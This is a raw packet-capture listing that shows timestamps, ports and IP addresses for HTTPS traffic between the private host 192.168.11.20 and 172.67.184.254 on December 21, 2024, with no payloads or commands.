Dec 21, 2024 19:24:49.718861103 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.718861103 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.718879938 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.718879938 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.718885899 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.718929052 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.719043016 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.722130060 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.722137928 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.722306013 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.722306013 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.722351074 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.722353935 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.722399950 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.722399950 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.722497940 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.726502895 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.726510048 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.726689100 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.726779938 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.726779938 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.726789951 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.726962090 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.731188059 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.731195927 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.731369972 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.731434107 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.731434107 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.731443882 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.731589079 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.734224081 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.734231949 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.734411001 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.734411001 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.734476089 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.734476089 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.734476089 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.734487057 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.734673977 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.735176086 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.735183954 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.735342979 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.735342979 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.735394955 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.735404015 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.735450029 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.735450029 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.735570908 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.737981081 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.737989902 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.738126993 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.738126993 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.738172054 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.738177061 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.738220930 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.738220930 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.738322973 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.741529942 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.741539955 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.741702080 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.741702080 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.741748095 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.741751909 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.741800070 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.741847992 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.741949081 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.743433952 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.743443966 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.743742943 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.743755102 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.744004965 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.744998932 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.745007992 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.745229006 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.745305061 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.745316982 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.745512962 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.753236055 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.753246069 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.753443003 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.753443003 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.753457069 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.753516912 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.753649950 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.756000996 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.756011009 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.756221056 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.756221056 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.756221056 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.756234884 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.756242990 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.756325960 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.756421089 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.758645058 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.758655071 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.758826971 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.758826971 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.758843899 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.758843899 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.758850098 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.758893013 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.759022951 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.762795925 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.762805939 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.763705015 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.763716936 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.763920069 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.767796040 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.767806053 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.767995119 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.768018961 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.768018961 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.768032074 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.768044949 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.768044949 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.768172979 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.771115065 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.771126032 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.771333933 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.771333933 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.771347046 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.771429062 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.773926973 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.773938894 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.774116993 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.774116993 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.774132967 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.774142027 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.774142027 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.774277925 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.776469946 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.776479959 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.776618004 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.776618004 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.776627064 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.776665926 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.776717901 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.776815891 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.778399944 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.778410912 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.778558969 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.778558969 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.778681040 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.778681040 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.778692961 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.781174898 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.781188011 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.781440973 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.781446934 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.781533003 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.783437967 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.783627987 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.783647060 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.783647060 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.848773956 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.848784924 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.848793030 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.849174023 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.849196911 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.849200010 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.849277973 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.849451065 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.849462986 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.849514961 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.849514961 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.849572897 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.849572897 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.849586964 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.849586964 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.849594116 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.849658012 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.849683046 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.849731922 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.849731922 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.849781036 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.849879026 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.849879026 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.849883080 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.849929094 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.849929094 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.849932909 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.849977970 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.849977970 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.849977970 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.850075006 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.850075006 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.850080967 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.850123882 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.850223064 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.850223064 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.850271940 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.850271940 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.850320101 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.850320101 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.850325108 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.850368977 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.850467920 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.850467920 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.850467920 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.850508928 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.850516081 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.850516081 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.850564957 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.850564957 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.850614071 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.850614071 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.850617886 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.850663900 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.850712061 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.850760937 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.850760937 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.850810051 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.850810051 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.850908041 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.850908041 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.850956917 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.850956917 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.851006985 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.851006985 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.851110935 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.851110935 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.851161003 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.851258993 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.942846060 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.942874908 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.943443060 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.943443060 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.943464041 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.943789959 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.943840027 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.943866968 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.944139004 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.944155931 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.944323063 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.944866896 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.944895983 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.945038080 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.945038080 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.945065022 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.945075989 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.945167065 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.945231915 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.945817947 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.945847988 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.946012020 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.946012974 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.946038961 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.946049929 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.946105003 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.946151018 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.946201086 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.946930885 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.946962118 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.947045088 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.947108984 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.947108984 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.947132111 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.947149038 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.947155952 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.947217941 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.947217941 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.947314978 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.947314978 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.947314978 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.947391987 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.948066950 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.948095083 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.948211908 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.948211908 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.948292017 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.948335886 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.948345900 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.948355913 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.948538065 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.948623896 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.948689938 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.948689938 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.948709011 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.948723078 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.948723078 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.948796034 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.948821068 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.949263096 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.949287891 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.949428082 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.949486017 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.949486017 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.949496984 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.949533939 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.949795008 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.949826956 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.949966908 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.949966908 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.949986935 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.950000048 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.950000048 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.950073004 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.950073004 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.950107098 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.950130939 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.950239897 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.950239897 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.950253010 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.950301886 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.950330019 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.950334072 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.950334072 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.950385094 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.950385094 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.950397015 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.950480938 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.950480938 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.950532913 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.950628042 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.950737000 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.950761080 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.950898886 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.950898886 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.950926065 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.950990915 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.950990915 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.951001883 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.951042891 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.951152086 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.951181889 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.951311111 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.951311111 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.951320887 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.951386929 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.951446056 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.951584101 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.951607943 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.951766968 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.951766968 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.951824903 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.951833010 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.951914072 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.951934099 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.951961040 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.952089071 CET	49766	443	192.168.11.20	172.67.184.254
